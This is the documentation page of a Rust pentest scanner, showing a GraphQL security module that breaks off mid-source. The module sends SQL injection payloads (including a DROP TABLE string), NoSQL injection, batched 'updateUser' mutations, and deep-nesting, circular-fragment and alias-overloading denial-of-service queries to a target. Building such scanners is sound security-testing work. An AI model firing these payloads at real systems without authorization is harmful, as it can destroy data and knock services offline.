lonkero 3.6.2

Web scanner built for actual pentests. Fast, modular, Rust.
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569
1570
1571
1572
1573
1574
1575
1576
1577
1578
1579
1580
1581
1582
1583
1584
1585
1586
1587
1588
1589
1590
1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
1603
1604
// Copyright (c) 2026 Bountyy Oy. All rights reserved.
// This software is proprietary and confidential.

use crate::http_client::HttpClient;
use crate::types::{ScanConfig, Severity, Vulnerability};
use std::sync::Arc;
use tracing::{debug, info};

mod uuid {
    pub use uuid::Uuid;
}

/// Scanner for GraphQL security vulnerabilities
pub struct GraphqlSecurityScanner {
    http_client: Arc<HttpClient>,
    test_marker: String,
}

impl GraphqlSecurityScanner {
    pub fn new(http_client: Arc<HttpClient>) -> Self {
        let test_marker = format!("gql-{}", uuid::Uuid::new_v4().to_string().replace("-", ""));
        Self {
            http_client,
            test_marker,
        }
    }

    /// Run GraphQL security scan
    pub async fn scan(
        &self,
        url: &str,
        _config: &ScanConfig,
    ) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
        info!("Starting GraphQL security scan on {}", url);

        let mut all_vulnerabilities = Vec::new();
        let mut total_tests = 0;

        // Test introspection enabled
        let (vulns, tests) = self.test_introspection(url).await?;
        all_vulnerabilities.extend(vulns);
        total_tests += tests;

        // Test GraphQL injection
        let (vulns, tests) = self.test_graphql_injection(url).await?;
        all_vulnerabilities.extend(vulns);
        total_tests += tests;

        // Test field suggestions
        let (vulns, tests) = self.test_field_suggestions(url).await?;
        all_vulnerabilities.extend(vulns);
        total_tests += tests;

        // Test batch query attacks
        let (vulns, tests) = self.test_batch_queries(url).await?;
        all_vulnerabilities.extend(vulns);
        total_tests += tests;

        // Advanced: Query complexity / DoS via deep nesting
        let (vulns, tests) = self.test_query_complexity_dos(url).await?;
        all_vulnerabilities.extend(vulns);
        total_tests += tests;

        // Advanced: Alias abuse attacks
        let (vulns, tests) = self.test_alias_abuse(url).await?;
        all_vulnerabilities.extend(vulns);
        total_tests += tests;

        // Advanced: Persisted query attacks
        let (vulns, tests) = self.test_persisted_query_attacks(url).await?;
        all_vulnerabilities.extend(vulns);
        total_tests += tests;

        // Advanced: Subscription vulnerabilities
        let (vulns, tests) = self.test_subscription_vulnerabilities(url).await?;
        all_vulnerabilities.extend(vulns);
        total_tests += tests;

        // Advanced: Fragment spreading attacks
        let (vulns, tests) = self.test_fragment_attacks(url).await?;
        all_vulnerabilities.extend(vulns);
        total_tests += tests;

        // Advanced: Directive abuse
        let (vulns, tests) = self.test_directive_abuse(url).await?;
        all_vulnerabilities.extend(vulns);
        total_tests += tests;

        // Advanced: Authorization bypass via query manipulation
        let (vulns, tests) = self.test_auth_bypass(url).await?;
        all_vulnerabilities.extend(vulns);
        total_tests += tests;

        // Advanced: Cost analysis and pagination abuse
        let (vulns, tests) = self.test_cost_analysis_attacks(url).await?;
        all_vulnerabilities.extend(vulns);
        total_tests += tests;

        // Advanced: Enhanced introspection abuse
        let (vulns, tests) = self.test_introspection_abuse(url).await?;
        all_vulnerabilities.extend(vulns);
        total_tests += tests;

        info!(
            "GraphQL security scan completed: {} tests run, {} vulnerabilities found",
            total_tests,
            all_vulnerabilities.len()
        );

        Ok((all_vulnerabilities, total_tests))
    }

    /// Test if GraphQL introspection is enabled
    async fn test_introspection(&self, url: &str) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
        let mut vulnerabilities = Vec::new();
        let tests_run = 2;

        debug!("Testing GraphQL introspection");

        // Try common GraphQL endpoints
        let graphql_endpoints = vec![
            format!("{}/graphql", url.trim_end_matches('/')),
            format!("{}/api/graphql", url.trim_end_matches('/')),
        ];

        // Introspection query
        let introspection_query =
            r#"{"query":"{\n  __schema {\n    types {\n      name\n    }\n  }\n}"}"#;

        for endpoint in graphql_endpoints {
            let headers = vec![("Content-Type".to_string(), "application/json".to_string())];

            match self
                .http_client
                .post_with_headers(&endpoint, introspection_query, headers)
                .await
            {
                Ok(response) => {
                    if self.detect_introspection_enabled(&response.body) {
                        vulnerabilities.push(self.create_vulnerability(
                            "GraphQL Introspection Enabled",
                            &endpoint,
                            &format!("GraphQL introspection is enabled. Response contains schema information: {}",
                                self.extract_evidence(&response.body, 200)),
                            Severity::Medium,
                            "CWE-200",
                        ));
                        break;
                    }
                }
                Err(e) => {
                    info!("Introspection test failed for {}: {}", endpoint, e);
                }
            }
        }

        Ok((vulnerabilities, tests_run))
    }

    /// Test for GraphQL injection vulnerabilities
    async fn test_graphql_injection(
        &self,
        url: &str,
    ) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
        let mut vulnerabilities = Vec::new();
        let tests_run = 3;

        debug!("Testing GraphQL injection");

        let graphql_endpoints = vec![
            format!("{}/graphql", url.trim_end_matches('/')),
            format!("{}/api/graphql", url.trim_end_matches('/')),
        ];

        // Injection payloads
        let injection_payloads = vec![
            (
                r#"{"query":"{ user(id: \"1' OR '1'='1\") { name } }"}"#,
                "SQL injection in GraphQL",
            ),
            (
                r#"{"query":"{ user(id: \"1; DROP TABLE users--\") { name } }"}"#,
                "SQL injection with DROP",
            ),
            (
                r#"{"query":"{ user(id: \"$ne\") { name } }"}"#,
                "NoSQL injection",
            ),
        ];

        for endpoint in &graphql_endpoints {
            for (payload, description) in &injection_payloads {
                let headers = vec![("Content-Type".to_string(), "application/json".to_string())];

                match self
                    .http_client
                    .post_with_headers(endpoint, payload, headers)
                    .await
                {
                    Ok(response) => {
                        if self.detect_injection_success(&response.body) {
                            vulnerabilities.push(self.create_vulnerability(
                                "GraphQL Injection",
                                endpoint,
                                &format!("{}: {}", description, payload),
                                Severity::Critical,
                                "CWE-89",
                            ));
                            break;
                        }
                    }
                    Err(e) => {
                        info!("GraphQL injection test failed: {}", e);
                    }
                }
            }
        }

        Ok((vulnerabilities, tests_run))
    }

    /// Test for field suggestions (information disclosure)
    async fn test_field_suggestions(
        &self,
        url: &str,
    ) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
        let mut vulnerabilities = Vec::new();
        let tests_run = 1;

        debug!("Testing GraphQL field suggestions");

        let graphql_endpoints = vec![format!("{}/graphql", url.trim_end_matches('/'))];

        // Query with typo to trigger field suggestions
        let suggestion_query = r#"{"query":"{ usr { name } }"}"#;

        for endpoint in graphql_endpoints {
            let headers = vec![("Content-Type".to_string(), "application/json".to_string())];

            match self
                .http_client
                .post_with_headers(&endpoint, suggestion_query, headers)
                .await
            {
                Ok(response) => {
                    if self.detect_field_suggestions(&response.body) {
                        vulnerabilities.push(self.create_vulnerability(
                            "GraphQL Field Suggestions Enabled",
                            &endpoint,
                            &format!("GraphQL exposes field suggestions which can leak schema information: {}",
                                self.extract_evidence(&response.body, 150)),
                            Severity::Low,
                            "CWE-200",
                        ));
                        break;
                    }
                }
                Err(e) => {
                    info!("Field suggestions test failed: {}", e);
                }
            }
        }

        Ok((vulnerabilities, tests_run))
    }

    /// Test for batch query attacks (DoS via Query Coalescing)
    async fn test_batch_queries(&self, url: &str) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
        let mut vulnerabilities = Vec::new();
        let tests_run = 3;

        debug!("Testing GraphQL batch query attacks");

        let graphql_endpoints = vec![format!("{}/graphql", url.trim_end_matches('/'))];

        for endpoint in &graphql_endpoints {
            let headers = vec![("Content-Type".to_string(), "application/json".to_string())];

            // Test 1: Array-based batching (multiple queries in one request)
            let mut batch_array_items = Vec::new();
            for i in 1..=100 {
                batch_array_items.push(format!(
                    r#"{{"query":"{{ user(id: {}) {{ id name email }} }}"}}"#,
                    i
                ));
            }
            let batch_array_query = format!("[{}]", batch_array_items.join(","));

            let start = std::time::Instant::now();
            match self
                .http_client
                .post_with_headers(endpoint, &batch_array_query, headers.clone())
                .await
            {
                Ok(response) => {
                    let elapsed = start.elapsed();

                    if self.detect_batch_query_accepted(&response.body) {
                        vulnerabilities.push(self.create_vulnerability(
                            "GraphQL Batch Queries Enabled",
                            endpoint,
                            &format!("GraphQL endpoint accepts array-based batch queries (100 queries in one request). Response time: {}ms. No batching limits detected - potential DoS vector.",
                                elapsed.as_millis()),
                            Severity::High,
                            "CWE-770",
                        ));
                    }
                }
                Err(e) => {
                    info!("Batch array query test failed: {}", e);
                }
            }

            // Test 2: Single query with multiple aliased operations (query coalescing)
            let mut alias_queries = Vec::new();
            for i in 1..=100 {
                alias_queries.push(format!("user{}: user(id: {}) {{ id name email }}", i, i));
            }
            let coalesced_query = format!(
                r#"{{"query":"query BatchCoalesce {{ {} }}"}}"#,
                alias_queries.join(" ")
            );

            let start = std::time::Instant::now();
            let baseline_time = match self
                .http_client
                .post_with_headers(
                    endpoint,
                    r#"{"query":"query Single { user(id: 1) { id name email } }"}"#,
                    headers.clone(),
                )
                .await
            {
                Ok(_) => start.elapsed(),
                Err(_) => std::time::Duration::from_millis(0),
            };

            let start = std::time::Instant::now();
            match self
                .http_client
                .post_with_headers(endpoint, &coalesced_query, headers.clone())
                .await
            {
                Ok(response) => {
                    let elapsed = start.elapsed();

                    // Check if query was accepted and executed
                    let executed = response.body.contains("user1")
                        && response.body.contains("user50")
                        && !response.body.to_lowercase().contains("limit")
                        && !response.body.to_lowercase().contains("max");

                    if executed && (baseline_time.is_zero() || elapsed > baseline_time * 10) {
                        vulnerabilities.push(self.create_vulnerability(
                            "GraphQL Batching Attack via Aliases",
                            endpoint,
                            &format!("GraphQL endpoint allows query coalescing with 100 aliased operations. Response time: {}ms (baseline: {}ms). Server processes all queries without batching limits - potential DoS via resource exhaustion.",
                                elapsed.as_millis(), baseline_time.as_millis()),
                            Severity::High,
                            "CWE-770",
                        ));
                    }
                }
                Err(e) => {
                    info!("Batch coalescing test failed: {}", e);
                }
            }

            // Test 3: Mutation batching (rate limit bypass)
            let mut mutation_batch = Vec::new();
            for i in 1..=50 {
                mutation_batch.push(format!(
                    r#"{{"query":"mutation Batch{} {{ updateUser(id: {}, name: \"{}\") {{ id }} }}"}}"#,
                    i, i, self.test_marker
                ));
            }
            let mutation_batch_query = format!("[{}]", mutation_batch.join(","));

            match self
                .http_client
                .post_with_headers(endpoint, &mutation_batch_query, headers.clone())
                .await
            {
                Ok(response) => {
                    // Check if mutations were accepted
                    if response.body.starts_with('[')
                        && !response.body.to_lowercase().contains("rate limit")
                    {
                        vulnerabilities.push(self.create_vulnerability(
                            "GraphQL Mutation Batching Bypass",
                            endpoint,
                            &format!("GraphQL endpoint accepts batched mutations (50 mutations in one request) without rate limiting. This can bypass per-request rate limits. Marker: {}", self.test_marker),
                            Severity::High,
                            "CWE-770",
                        ));
                    }
                }
                Err(e) => {
                    info!("Mutation batching test failed: {}", e);
                }
            }
        }

        Ok((vulnerabilities, tests_run))
    }

    /// Test for query complexity DoS attacks via deep nesting, circular queries, and field duplication
    async fn test_query_complexity_dos(
        &self,
        url: &str,
    ) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
        let mut vulnerabilities = Vec::new();
        let tests_run = 5;

        debug!("Testing GraphQL query complexity / deep nesting / circular query DoS");

        let graphql_endpoints = vec![format!("{}/graphql", url.trim_end_matches('/'))];

        for endpoint in &graphql_endpoints {
            let headers = vec![("Content-Type".to_string(), "application/json".to_string())];

            // Test 1: Deep nesting query with recursive relationships (exponential complexity)
            let mut nesting_levels = String::from("user { id name ");
            for _ in 0..20 {
                nesting_levels.push_str("posts { id title author { id name ");
            }
            for _ in 0..20 {
                nesting_levels.push_str("} } ");
            }
            nesting_levels.push_str("} ");

            let deep_recursive_query = format!(
                r#"{{"query":"query DeepRecursive {{ {} }}"}}"#,
                nesting_levels
            );

            let start = std::time::Instant::now();
            match self
                .http_client
                .post_with_headers(endpoint, &deep_recursive_query, headers.clone())
                .await
            {
                Ok(response) => {
                    let elapsed = start.elapsed();

                    // First, verify this is actually a GraphQL response (not SPA fallback)
                    if !self.is_graphql_response(&response.body) {
                        continue;
                    }

                    // Check if query was accepted (no depth limit error)
                    let no_depth_limit = !response.body.to_lowercase().contains("depth")
                        && !response.body.to_lowercase().contains("too deep")
                        && !response.body.to_lowercase().contains("nesting")
                        && !response.body.to_lowercase().contains("recursion");

                    // Check if server took long time or accepted query
                    let slow_response = elapsed.as_secs() > 3;

                    // Only report if it's a real GraphQL response with data
                    if (no_depth_limit && response.body.contains("\"data\"")) || slow_response {
                        vulnerabilities.push(self.create_vulnerability(
                            "GraphQL Circular/Recursive Query DoS",
                            endpoint,
                            &format!("GraphQL endpoint allows deeply nested recursive queries (depth: 20). Response time: {}ms. No depth limits detected - potential exponential complexity DoS attack vector.",
                                elapsed.as_millis()),
                            Severity::Critical,
                            "CWE-400",
                        ));
                    }
                }
                Err(e) => {
                    info!("Deep recursive query test failed: {}", e);
                }
            }

            // Test 2: Circular fragment reference (infinite recursion)
            let circular_query = r#"{"query":"query CircularRef { user { ...UserData } } fragment UserData on User { id name friends { ...UserData } }"}"#;

            let start = std::time::Instant::now();
            match self
                .http_client
                .post_with_headers(endpoint, circular_query, headers.clone())
                .await
            {
                Ok(response) => {
                    let elapsed = start.elapsed();

                    // Verify this is actually a GraphQL response
                    if !self.is_graphql_response(&response.body) {
                        continue;
                    }

                    let no_circular_check = !response.body.to_lowercase().contains("circular")
                        && !response.body.to_lowercase().contains("infinite")
                        && !response.body.to_lowercase().contains("recursive");

                    let slow_or_accepted =
                        elapsed.as_secs() > 2 || response.body.contains("\"data\"");

                    if no_circular_check && slow_or_accepted {
                        vulnerabilities.push(self.create_vulnerability(
                            "GraphQL Circular Fragment DoS",
                            endpoint,
                            &format!("GraphQL endpoint allows circular fragment references. Response time: {}ms. No circular reference detection - can cause infinite recursion DoS.",
                                elapsed.as_millis()),
                            Severity::High,
                            "CWE-674",
                        ));
                    }
                }
                Err(e) => {
                    info!("Circular query test failed: {}", e);
                }
            }

            // Test 3: Field duplication attack (request same expensive field 1000 times)
            let mut duplicated_fields = Vec::new();
            for _ in 0..1000 {
                duplicated_fields.push("posts");
            }
            let field_dup_query = format!(
                r#"{{"query":"query FieldDup {{ user {{ id name {} }} }}"}}"#,
                duplicated_fields.join(" ")
            );

            let start = std::time::Instant::now();
            match self
                .http_client
                .post_with_headers(endpoint, &field_dup_query, headers.clone())
                .await
            {
                Ok(response) => {
                    let elapsed = start.elapsed();

                    // Verify this is actually a GraphQL response
                    if !self.is_graphql_response(&response.body) {
                        continue;
                    }

                    let no_deduplication = !response.body.to_lowercase().contains("duplicate")
                        && !response.body.to_lowercase().contains("repeated");

                    // Check if server processed all fields (high CPU/time)
                    let slow_response = elapsed.as_millis() > 1000;
                    let large_response = response.body.len() > 10000;

                    if no_deduplication && (slow_response || large_response) {
                        vulnerabilities.push(self.create_vulnerability(
                            "GraphQL Field Duplication DoS",
                            endpoint,
                            &format!("GraphQL endpoint allows duplicating expensive fields 1000 times without deduplication. Response time: {}ms, size: {} bytes. Server processes all duplicate fields - CPU exhaustion DoS vector.",
                                elapsed.as_millis(), response.body.len()),
                            Severity::High,
                            "CWE-770",
                        ));
                    }
                }
                Err(e) => {
                    info!("Field duplication test failed: {}", e);
                }
            }

            // Test 4: Deeply nested fragments with circular relationships
            let nested_circular = r#"{"query":"query NestedCircular { user { ...Level1 } } fragment Level1 on User { friends { ...Level2 } } fragment Level2 on User { friends { ...Level3 } } fragment Level3 on User { friends { ...Level4 } } fragment Level4 on User { friends { ...Level5 } } fragment Level5 on User { friends { ...Level1 } }"}"#;

            match self
                .http_client
                .post_with_headers(endpoint, nested_circular, headers.clone())
                .await
            {
                Ok(response) => {
                    // Verify this is actually a GraphQL response
                    if !self.is_graphql_response(&response.body) {
                        continue;
                    }

                    let no_checks = !response.body.to_lowercase().contains("circular")
                        && !response.body.to_lowercase().contains("depth")
                        && !response.body.to_lowercase().contains("too complex");

                    if no_checks && response.body.contains("\"data\"") {
                        vulnerabilities.push(self.create_vulnerability(
                            "GraphQL Nested Circular Fragment Attack",
                            endpoint,
                            "GraphQL endpoint allows deeply nested fragments with circular relationships. This can bypass simple depth checks and cause exponential query complexity.",
                            Severity::High,
                            "CWE-674",
                        ));
                    }
                }
                Err(e) => {
                    info!("Nested circular test failed: {}", e);
                }
            }

            // Test 5: Recursive query with different entry points
            let multi_entry_recursive = r#"{"query":"query MultiEntry { user { friends { friends { friends { posts { comments { author { friends { friends { id } } } } } } } } post { author { friends { friends { posts { author { id } } } } } } }"}"#;

            let start = std::time::Instant::now();
            match self
                .http_client
                .post_with_headers(endpoint, multi_entry_recursive, headers.clone())
                .await
            {
                Ok(response) => {
                    let elapsed = start.elapsed();

                    // Verify this is actually a GraphQL response
                    if !self.is_graphql_response(&response.body) {
                        continue;
                    }

                    if elapsed.as_secs() > 2 || response.body.len() > 50000 {
                        vulnerabilities.push(self.create_vulnerability(
                            "GraphQL Multi-Entry Recursive DoS",
                            endpoint,
                            &format!("GraphQL endpoint processes complex queries with multiple recursive entry points. Response time: {}ms, size: {} bytes. No aggregate complexity limits detected.",
                                elapsed.as_millis(), response.body.len()),
                            Severity::High,
                            "CWE-400",
                        ));
                    }
                }
                Err(e) => {
                    info!("Multi-entry recursive test failed: {}", e);
                }
            }
        }

        Ok((vulnerabilities, tests_run))
    }

    /// Test for alias abuse attacks (amplification and overloading)
    async fn test_alias_abuse(&self, url: &str) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
        let mut vulnerabilities = Vec::new();
        let tests_run = 3;

        debug!("Testing GraphQL alias abuse and overloading attacks");

        let graphql_endpoints = vec![format!("{}/graphql", url.trim_end_matches('/'))];

        for endpoint in &graphql_endpoints {
            let headers = vec![("Content-Type".to_string(), "application/json".to_string())];

            // Test 1: Alias overloading - thousands of aliases to bypass simple query counting
            let mut massive_aliases = Vec::new();
            for i in 1..=1000 {
                massive_aliases.push(format!("alias{}: __typename", i));
            }
            let alias_overload = format!(
                r#"{{"query":"query AliasOverload {{ {} }}"}}"#,
                massive_aliases.join(" ")
            );

            let start = std::time::Instant::now();
            match self
                .http_client
                .post_with_headers(endpoint, &alias_overload, headers.clone())
                .await
            {
                Ok(response) => {
                    let elapsed = start.elapsed();

                    // Verify this is actually a GraphQL response
                    if !self.is_graphql_response(&response.body) {
                        continue;
                    }

                    // Server may count as 1 query but executes thousands
                    let executed = response.body.contains("alias1")
                        && response.body.contains("alias500")
                        && !response.body.to_lowercase().contains("too many aliases")
                        && !response.body.to_lowercase().contains("alias limit");

                    if executed {
                        vulnerabilities.push(self.create_vulnerability(
                            "GraphQL Alias Overloading DoS",
                            endpoint,
                            &format!("GraphQL endpoint allows 1000 aliases in a single query. Response time: {}ms. Server may count this as 1 query but executes thousands of operations - can bypass rate limits and cause CPU exhaustion.",
                                elapsed.as_millis()),
                            Severity::High,
                            "CWE-770",
                        ));
                    }
                }
                Err(e) => {
                    info!("Alias overload test failed: {}", e);
                }
            }

            // Test 2: Alias amplification with expensive fields
            let mut expensive_aliases = Vec::new();
            for i in 1..=100 {
                expensive_aliases.push(format!(
                    "u{}: user(id: {}) {{ id name email posts {{ id title }} }}",
                    i, i
                ));
            }
            let expensive_alias_query = format!(
                r#"{{"query":"query ExpensiveAliases {{ {} }}"}}"#,
                expensive_aliases.join(" ")
            );

            let start = std::time::Instant::now();
            match self
                .http_client
                .post_with_headers(endpoint, &expensive_alias_query, headers.clone())
                .await
            {
                Ok(response) => {
                    let elapsed = start.elapsed();

                    // Verify this is actually a GraphQL response
                    if !self.is_graphql_response(&response.body) {
                        continue;
                    }

                    let no_limits = !response.body.to_lowercase().contains("alias")
                        && !response.body.to_lowercase().contains("limit")
                        && !response.body.to_lowercase().contains("complexity");

                    // Check for execution
                    let executed = response.body.contains("u1") || response.body.len() > 5000;

                    if executed && (no_limits || elapsed.as_millis() > 2000) {
                        vulnerabilities.push(self.create_vulnerability(
                            "GraphQL Alias Amplification Attack",
                            endpoint,
                            &format!("GraphQL endpoint allows 100 aliases for expensive queries. Response time: {}ms, size: {} bytes. No complexity limits detected - can amplify resource consumption.",
                                elapsed.as_millis(), response.body.len()),
                            Severity::High,
                            "CWE-400",
                        ));
                    }
                }
                Err(e) => {
                    info!("Expensive alias test failed: {}", e);
                }
            }

            // Test 3: Nested aliases (aliases within aliases)
            let nested_alias = r#"{"query":"query NestedAlias {
                a1: user { p1: posts { id } p2: posts { id } p3: posts { id } p4: posts { id } p5: posts { id } }
                a2: user { p1: posts { id } p2: posts { id } p3: posts { id } p4: posts { id } p5: posts { id } }
                a3: user { p1: posts { id } p2: posts { id } p3: posts { id } p4: posts { id } p5: posts { id } }
                a4: user { p1: posts { id } p2: posts { id } p3: posts { id } p4: posts { id } p5: posts { id } }
                a5: user { p1: posts { id } p2: posts { id } p3: posts { id } p4: posts { id } p5: posts { id } }
            }"}"#;

            match self
                .http_client
                .post_with_headers(endpoint, nested_alias, headers.clone())
                .await
            {
                Ok(response) => {
                    // Verify this is actually a GraphQL response
                    if !self.is_graphql_response(&response.body) {
                        continue;
                    }

                    let no_limits = !response.body.to_lowercase().contains("limit")
                        && !response.body.to_lowercase().contains("complexity");

                    if (response.body.contains("a1") || response.body.contains("p1")) && no_limits {
                        vulnerabilities.push(self.create_vulnerability(
                            "GraphQL Nested Alias Multiplication",
                            endpoint,
                            "GraphQL endpoint allows nested aliases (5 top-level aliases × 5 field aliases = 25× amplification). No limits detected - multiplicative resource consumption.",
                            Severity::Medium,
                            "CWE-770",
                        ));
                    }
                }
                Err(e) => {
                    info!("Nested alias test failed: {}", e);
                }
            }
        }

        Ok((vulnerabilities, tests_run))
    }

    /// Test for persisted query attacks
    async fn test_persisted_query_attacks(
        &self,
        url: &str,
    ) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
        let mut vulnerabilities = Vec::new();
        let tests_run = 3;

        debug!("Testing GraphQL persisted query attacks");

        let graphql_endpoints = vec![format!("{}/graphql", url.trim_end_matches('/'))];

        // APQ (Automatic Persisted Queries) probe
        let apq_probe = r#"{"extensions":{"persistedQuery":{"version":1,"sha256Hash":"ecf4edb46db40b5132295c0291d62fb65d6759a9eedfa4d5d612dd5ec54a6b38"}}}"#;

        // APQ registration attempt
        let apq_register = r#"{"query":"{ __typename }","extensions":{"persistedQuery":{"version":1,"sha256Hash":"ecf4edb46db40b5132295c0291d62fb65d6759a9eedfa4d5d612dd5ec54a6b38"}}}"#;

        // Persisted query bypass with full query
        let pq_bypass = r#"{"query":"{ user { id } }","extensions":{"persistedQuery":{"version":1,"sha256Hash":"invalidhash"}}}"#;

        let pq_payloads = vec![
